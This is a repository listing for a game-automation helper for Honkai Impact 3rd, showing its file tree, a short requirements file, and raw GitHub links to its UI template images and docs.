├── requirements.txt
├── docs
├── guide.png
└── game_setting.png
├── templates
├── BP_CHEST.png
├── BP_REWARD.png
├── DAILY_BP.png
├── DORM_GOLD.png
├── GOTO_EVENT.png
├── GOTO_GIFT.png
├── GOTO_SHARE.png
├── LITE_FLAG.png
├── LOGIN_FLAG.png
├── MAIL_FLAG.png
├── MAIN_FLAG.png
├── QUICK_LITE.png
├── SHARE_ITEM.png
├── SHOP_FLAG.png
├── ABYSS_SETTLE.png
├── ARMADA_FLAG.png
├── BP_SHOP_TAB.png
├── DORM_STAMINA.png
├── ERRANDS_FLAG.png
├── GOTO_ATTACK.png
├── GOTO_BP_SHOP.png
├── HOME_BUTTON.png
├── LITE_BUTTON.png
├── LOGIN_CLICK.png
├── LOGIN_UPDATE.png
├── NOTICE_CLOSE.png
├── NOTICE_FLAG.png
├── NO_MORE_MAIL.png
├── POPUP_MARGIN.png
├── QUICK_CLAIM.png
├── QUICK_ERRAND.png
├── SHARE_BUTTON.png
├── WEEKLY_SHARE.png
├── BP_CHEST_CLAIM.png
├── BP_MISSIONS_TAB.png
├── BP_REWARDS_TAB.png
├── BUY_HOMO_CHEST.png
├── CLAIM_STAMINA.png
├── COMMISSION_BUY.png
├── COMMISSION_FLAG.png
├── COMMISSION_LACK.png
├── COMMISSION_MAX.png
├── COMMISSION_PUT.png
├── CONFIRM_BUTTON.png
├── DORM_GOTO_SHOP.png
├── DOWNLOAD_DONE.png
├── ERRAND_CANCEL.png
├── ERRAND_DISABLE.png
├── EXPEDITION_FLAG.png
├── FRAG_GOTO_MATL.png
├── GOTO_BP_REWARD.png
├── GOTO_CHALLENGE.png
├── GOTO_RECOMMEND.png
├── MAIN_GOTO_DORM.png
├── MAIN_GOTO_MAIL.png
├── MAIN_GOTO_MALL.png
├── MATL_GOTO_FRAG.png
├── NEW_HOME_BUTTON.png
├── NEW_ITEM_POPUP.png
├── POPUP_BP_CLAIM.png
├── POPUP_BP_FLAG.png
├── QUICK_DISPATCH.png
├── RETURN_BUTTON.png
├── REWARD_BP_LEVEL.png
├── 7DAY_REWARD_CLAIM.png
├── ARMADA_REWARD_TAB.png
├── BATTLE_ATTACK_TAB.png
├── BATTLE_EVENT_TAB.png
├── BATTLE_GOTO_LITE.png
├── BP_REWARD_CONFIRM.png
├── COMMISSION_ACCEPT.png
├── COMMISSION_COUNT.png
├── COMMISSION_SUBMIT.png
├── CONTRIBUTION_FULL.png
├── CURRENT_BP_LEVEL.png
├── DAILY_REWARD_100.png
├── DAILY_REWARD_200.png
├── DAILY_REWARD_300.png
├── DAILY_REWARD_450.png
├── DAILY_REWARD_600.png
├── DORM_GOTO_ERRANDS.png
├── DOWNLOAD_CONFIRM.png
├── EXPEDITION_CANCEL.png
├── GOTO_BP_MISSIONS.png
├── GOTO_WEEKLY_GIFT.png
├── MAIL_QUICK_CLAIM.png
├── MAIN_GOTO_ARMADA.png
├── MAIN_GOTO_BATTLE.png
├── POPUP_EVENT_FLAG.png
├── QUICK_EXPEDITION.png
├── 7DAY_REWARD_CONFIRM.png
├── ARMADA_REWARD_CLAIM.png
├── ARMADA_REWARD_FLAG.png
├── BATTLE_CHALLENGE_TAB.png
├── BATTLE_RECOMMEND_TAB.png
├── COMMISSION_REQUEST.png
├── CONTRIBUTION_CLAIMED.png
├── CONTRIBUTION_REWARD.png
├── DORM_STAMINA_CLOSE.png
├── DORM_STAMINA_SURPLUS.png
├── ERRAND_REWARD_CLAIM.png
├── ERRAND_REWARD_DONE.png
├── EXPEDITION_COMPLETED.png
├── EXPEDITION_DISPATCH.png
├── EXPEDITION_FRAG_TAB.png
├── EXPEDITION_MATL_TAB.png
├── HOMO_CHEST_CONFIRM.png
├── MAIN_GOTO_MISSIONS.png
├── QUICK_ERRAND_CONFIRM.png
├── SIGNIN_REWARD_CLAIM.png
├── ARMADA_GOTO_COMMISSION.png
├── COMMISSION_GOTO_REWARD.png
├── COMMISSION_SUBMIT_LACK.png
├── DORM_GOTO_EXPEDITIONS.png
├── SIGNIN_REWARD_CONFIRM.png
├── ARMADA_CONTRIBUTION_FLAG.png
├── ARMADA_GOTO_CONTRIBUTION.png
├── COMMISSION_REQUEST_FLAG.png
├── COMMISSION_SUBMIT_CONFIRM.png
└── EXPEDITION_NOT_AVAILABLE.png
├── config
├── default.json
├── i18n
│ └── zh-CN.json
└── args.json
├── tasks
├── mail.py
├── sweep.py
├── dorm_bonus.py
├── errand.py
├── expedition.py
├── base
│ ├── popup.py
│ ├── switch.py
│ └── page.py
├── mission.py
├── login.py
├── armada.py
└── weekly_reward.py
├── LICENSE
├── README.md
├── start.bat
├── main.py
└── config.py
/requirements.txt:
--------------------------------------------------------------------------------
1 | zafkiel==0.2.1
2 | pydantic==2.9.1
3 | numpy==1.26.4
--------------------------------------------------------------------------------
/docs/guide.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/docs/guide.png
--------------------------------------------------------------------------------
/docs/game_setting.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/docs/game_setting.png
--------------------------------------------------------------------------------
/templates/BP_CHEST.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BP_CHEST.png
--------------------------------------------------------------------------------
/templates/BP_REWARD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BP_REWARD.png
--------------------------------------------------------------------------------
/templates/DAILY_BP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DAILY_BP.png
--------------------------------------------------------------------------------
/templates/DORM_GOLD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DORM_GOLD.png
--------------------------------------------------------------------------------
/templates/GOTO_EVENT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/GOTO_EVENT.png
--------------------------------------------------------------------------------
/templates/GOTO_GIFT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/GOTO_GIFT.png
--------------------------------------------------------------------------------
/templates/GOTO_SHARE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/GOTO_SHARE.png
--------------------------------------------------------------------------------
/templates/LITE_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/LITE_FLAG.png
--------------------------------------------------------------------------------
/templates/LOGIN_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/LOGIN_FLAG.png
--------------------------------------------------------------------------------
/templates/MAIL_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/MAIL_FLAG.png
--------------------------------------------------------------------------------
/templates/MAIN_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/MAIN_FLAG.png
--------------------------------------------------------------------------------
/templates/QUICK_LITE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/QUICK_LITE.png
--------------------------------------------------------------------------------
/templates/SHARE_ITEM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/SHARE_ITEM.png
--------------------------------------------------------------------------------
/templates/SHOP_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/SHOP_FLAG.png
--------------------------------------------------------------------------------
/templates/ABYSS_SETTLE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ABYSS_SETTLE.png
--------------------------------------------------------------------------------
/templates/ARMADA_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ARMADA_FLAG.png
--------------------------------------------------------------------------------
/templates/BP_SHOP_TAB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BP_SHOP_TAB.png
--------------------------------------------------------------------------------
/templates/DORM_STAMINA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DORM_STAMINA.png
--------------------------------------------------------------------------------
/templates/ERRANDS_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ERRANDS_FLAG.png
--------------------------------------------------------------------------------
/templates/GOTO_ATTACK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/GOTO_ATTACK.png
--------------------------------------------------------------------------------
/templates/GOTO_BP_SHOP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/GOTO_BP_SHOP.png
--------------------------------------------------------------------------------
/templates/HOME_BUTTON.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/HOME_BUTTON.png
--------------------------------------------------------------------------------
/templates/LITE_BUTTON.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/LITE_BUTTON.png
--------------------------------------------------------------------------------
/templates/LOGIN_CLICK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/LOGIN_CLICK.png
--------------------------------------------------------------------------------
/templates/LOGIN_UPDATE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/LOGIN_UPDATE.png
--------------------------------------------------------------------------------
/templates/NOTICE_CLOSE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/NOTICE_CLOSE.png
--------------------------------------------------------------------------------
/templates/NOTICE_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/NOTICE_FLAG.png
--------------------------------------------------------------------------------
/templates/NO_MORE_MAIL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/NO_MORE_MAIL.png
--------------------------------------------------------------------------------
/templates/POPUP_MARGIN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/POPUP_MARGIN.png
--------------------------------------------------------------------------------
/templates/QUICK_CLAIM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/QUICK_CLAIM.png
--------------------------------------------------------------------------------
/templates/QUICK_ERRAND.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/QUICK_ERRAND.png
--------------------------------------------------------------------------------
/templates/SHARE_BUTTON.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/SHARE_BUTTON.png
--------------------------------------------------------------------------------
/templates/WEEKLY_SHARE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/WEEKLY_SHARE.png
--------------------------------------------------------------------------------
/templates/BP_CHEST_CLAIM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BP_CHEST_CLAIM.png
--------------------------------------------------------------------------------
/templates/BP_MISSIONS_TAB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BP_MISSIONS_TAB.png
--------------------------------------------------------------------------------
/templates/BP_REWARDS_TAB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BP_REWARDS_TAB.png
--------------------------------------------------------------------------------
/templates/BUY_HOMO_CHEST.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BUY_HOMO_CHEST.png
--------------------------------------------------------------------------------
/templates/CLAIM_STAMINA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/CLAIM_STAMINA.png
--------------------------------------------------------------------------------
/templates/COMMISSION_BUY.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_BUY.png
--------------------------------------------------------------------------------
/templates/COMMISSION_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_FLAG.png
--------------------------------------------------------------------------------
/templates/COMMISSION_LACK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_LACK.png
--------------------------------------------------------------------------------
/templates/COMMISSION_MAX.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_MAX.png
--------------------------------------------------------------------------------
/templates/COMMISSION_PUT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_PUT.png
--------------------------------------------------------------------------------
/templates/CONFIRM_BUTTON.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/CONFIRM_BUTTON.png
--------------------------------------------------------------------------------
/templates/DORM_GOTO_SHOP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DORM_GOTO_SHOP.png
--------------------------------------------------------------------------------
/templates/DOWNLOAD_DONE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DOWNLOAD_DONE.png
--------------------------------------------------------------------------------
/templates/ERRAND_CANCEL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ERRAND_CANCEL.png
--------------------------------------------------------------------------------
/templates/ERRAND_DISABLE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ERRAND_DISABLE.png
--------------------------------------------------------------------------------
/templates/EXPEDITION_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/EXPEDITION_FLAG.png
--------------------------------------------------------------------------------
/templates/FRAG_GOTO_MATL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/FRAG_GOTO_MATL.png
--------------------------------------------------------------------------------
/templates/GOTO_BP_REWARD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/GOTO_BP_REWARD.png
--------------------------------------------------------------------------------
/templates/GOTO_CHALLENGE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/GOTO_CHALLENGE.png
--------------------------------------------------------------------------------
/templates/GOTO_RECOMMEND.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/GOTO_RECOMMEND.png
--------------------------------------------------------------------------------
/templates/MAIN_GOTO_DORM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/MAIN_GOTO_DORM.png
--------------------------------------------------------------------------------
/templates/MAIN_GOTO_MAIL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/MAIN_GOTO_MAIL.png
--------------------------------------------------------------------------------
/templates/MAIN_GOTO_MALL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/MAIN_GOTO_MALL.png
--------------------------------------------------------------------------------
/templates/MATL_GOTO_FRAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/MATL_GOTO_FRAG.png
--------------------------------------------------------------------------------
/templates/NEW_HOME_BUTTON.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/NEW_HOME_BUTTON.png
--------------------------------------------------------------------------------
/templates/NEW_ITEM_POPUP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/NEW_ITEM_POPUP.png
--------------------------------------------------------------------------------
/templates/POPUP_BP_CLAIM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/POPUP_BP_CLAIM.png
--------------------------------------------------------------------------------
/templates/POPUP_BP_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/POPUP_BP_FLAG.png
--------------------------------------------------------------------------------
/templates/QUICK_DISPATCH.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/QUICK_DISPATCH.png
--------------------------------------------------------------------------------
/templates/RETURN_BUTTON.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/RETURN_BUTTON.png
--------------------------------------------------------------------------------
/templates/REWARD_BP_LEVEL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/REWARD_BP_LEVEL.png
--------------------------------------------------------------------------------
/templates/7DAY_REWARD_CLAIM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/7DAY_REWARD_CLAIM.png
--------------------------------------------------------------------------------
/templates/ARMADA_REWARD_TAB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ARMADA_REWARD_TAB.png
--------------------------------------------------------------------------------
/templates/BATTLE_ATTACK_TAB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BATTLE_ATTACK_TAB.png
--------------------------------------------------------------------------------
/templates/BATTLE_EVENT_TAB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BATTLE_EVENT_TAB.png
--------------------------------------------------------------------------------
/templates/BATTLE_GOTO_LITE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BATTLE_GOTO_LITE.png
--------------------------------------------------------------------------------
/templates/BP_REWARD_CONFIRM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BP_REWARD_CONFIRM.png
--------------------------------------------------------------------------------
/templates/COMMISSION_ACCEPT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_ACCEPT.png
--------------------------------------------------------------------------------
/templates/COMMISSION_COUNT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_COUNT.png
--------------------------------------------------------------------------------
/templates/COMMISSION_SUBMIT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_SUBMIT.png
--------------------------------------------------------------------------------
/templates/CONTRIBUTION_FULL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/CONTRIBUTION_FULL.png
--------------------------------------------------------------------------------
/templates/CURRENT_BP_LEVEL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/CURRENT_BP_LEVEL.png
--------------------------------------------------------------------------------
/templates/DAILY_REWARD_100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DAILY_REWARD_100.png
--------------------------------------------------------------------------------
/templates/DAILY_REWARD_200.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DAILY_REWARD_200.png
--------------------------------------------------------------------------------
/templates/DAILY_REWARD_300.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DAILY_REWARD_300.png
--------------------------------------------------------------------------------
/templates/DAILY_REWARD_450.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DAILY_REWARD_450.png
--------------------------------------------------------------------------------
/templates/DAILY_REWARD_600.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DAILY_REWARD_600.png
--------------------------------------------------------------------------------
/templates/DORM_GOTO_ERRANDS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DORM_GOTO_ERRANDS.png
--------------------------------------------------------------------------------
/templates/DOWNLOAD_CONFIRM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DOWNLOAD_CONFIRM.png
--------------------------------------------------------------------------------
/templates/EXPEDITION_CANCEL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/EXPEDITION_CANCEL.png
--------------------------------------------------------------------------------
/templates/GOTO_BP_MISSIONS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/GOTO_BP_MISSIONS.png
--------------------------------------------------------------------------------
/templates/GOTO_WEEKLY_GIFT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/GOTO_WEEKLY_GIFT.png
--------------------------------------------------------------------------------
/templates/MAIL_QUICK_CLAIM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/MAIL_QUICK_CLAIM.png
--------------------------------------------------------------------------------
/templates/MAIN_GOTO_ARMADA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/MAIN_GOTO_ARMADA.png
--------------------------------------------------------------------------------
/templates/MAIN_GOTO_BATTLE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/MAIN_GOTO_BATTLE.png
--------------------------------------------------------------------------------
/templates/POPUP_EVENT_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/POPUP_EVENT_FLAG.png
--------------------------------------------------------------------------------
/templates/QUICK_EXPEDITION.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/QUICK_EXPEDITION.png
--------------------------------------------------------------------------------
/templates/7DAY_REWARD_CONFIRM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/7DAY_REWARD_CONFIRM.png
--------------------------------------------------------------------------------
/templates/ARMADA_REWARD_CLAIM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ARMADA_REWARD_CLAIM.png
--------------------------------------------------------------------------------
/templates/ARMADA_REWARD_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ARMADA_REWARD_FLAG.png
--------------------------------------------------------------------------------
/templates/BATTLE_CHALLENGE_TAB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BATTLE_CHALLENGE_TAB.png
--------------------------------------------------------------------------------
/templates/BATTLE_RECOMMEND_TAB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/BATTLE_RECOMMEND_TAB.png
--------------------------------------------------------------------------------
/templates/COMMISSION_REQUEST.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_REQUEST.png
--------------------------------------------------------------------------------
/templates/CONTRIBUTION_CLAIMED.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/CONTRIBUTION_CLAIMED.png
--------------------------------------------------------------------------------
/templates/CONTRIBUTION_REWARD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/CONTRIBUTION_REWARD.png
--------------------------------------------------------------------------------
/templates/DORM_STAMINA_CLOSE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DORM_STAMINA_CLOSE.png
--------------------------------------------------------------------------------
/templates/DORM_STAMINA_SURPLUS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DORM_STAMINA_SURPLUS.png
--------------------------------------------------------------------------------
/templates/ERRAND_REWARD_CLAIM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ERRAND_REWARD_CLAIM.png
--------------------------------------------------------------------------------
/templates/ERRAND_REWARD_DONE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ERRAND_REWARD_DONE.png
--------------------------------------------------------------------------------
/templates/EXPEDITION_COMPLETED.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/EXPEDITION_COMPLETED.png
--------------------------------------------------------------------------------
/templates/EXPEDITION_DISPATCH.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/EXPEDITION_DISPATCH.png
--------------------------------------------------------------------------------
/templates/EXPEDITION_FRAG_TAB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/EXPEDITION_FRAG_TAB.png
--------------------------------------------------------------------------------
/templates/EXPEDITION_MATL_TAB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/EXPEDITION_MATL_TAB.png
--------------------------------------------------------------------------------
/templates/HOMO_CHEST_CONFIRM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/HOMO_CHEST_CONFIRM.png
--------------------------------------------------------------------------------
/templates/MAIN_GOTO_MISSIONS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/MAIN_GOTO_MISSIONS.png
--------------------------------------------------------------------------------
/templates/QUICK_ERRAND_CONFIRM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/QUICK_ERRAND_CONFIRM.png
--------------------------------------------------------------------------------
/templates/SIGNIN_REWARD_CLAIM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/SIGNIN_REWARD_CLAIM.png
--------------------------------------------------------------------------------
/templates/ARMADA_GOTO_COMMISSION.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ARMADA_GOTO_COMMISSION.png
--------------------------------------------------------------------------------
/templates/COMMISSION_GOTO_REWARD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_GOTO_REWARD.png
--------------------------------------------------------------------------------
/templates/COMMISSION_SUBMIT_LACK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_SUBMIT_LACK.png
--------------------------------------------------------------------------------
/templates/DORM_GOTO_EXPEDITIONS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/DORM_GOTO_EXPEDITIONS.png
--------------------------------------------------------------------------------
/templates/SIGNIN_REWARD_CONFIRM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/SIGNIN_REWARD_CONFIRM.png
--------------------------------------------------------------------------------
/templates/ARMADA_CONTRIBUTION_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ARMADA_CONTRIBUTION_FLAG.png
--------------------------------------------------------------------------------
/templates/ARMADA_GOTO_CONTRIBUTION.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/ARMADA_GOTO_CONTRIBUTION.png
--------------------------------------------------------------------------------
/templates/COMMISSION_REQUEST_FLAG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_REQUEST_FLAG.png
--------------------------------------------------------------------------------
/templates/COMMISSION_SUBMIT_CONFIRM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/COMMISSION_SUBMIT_CONFIRM.png
--------------------------------------------------------------------------------
/templates/EXPEDITION_NOT_AVAILABLE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oaiwen/HonkaiHelper/HEAD/templates/EXPEDITION_NOT_AVAILABLE.png
--------------------------------------------------------------------------------
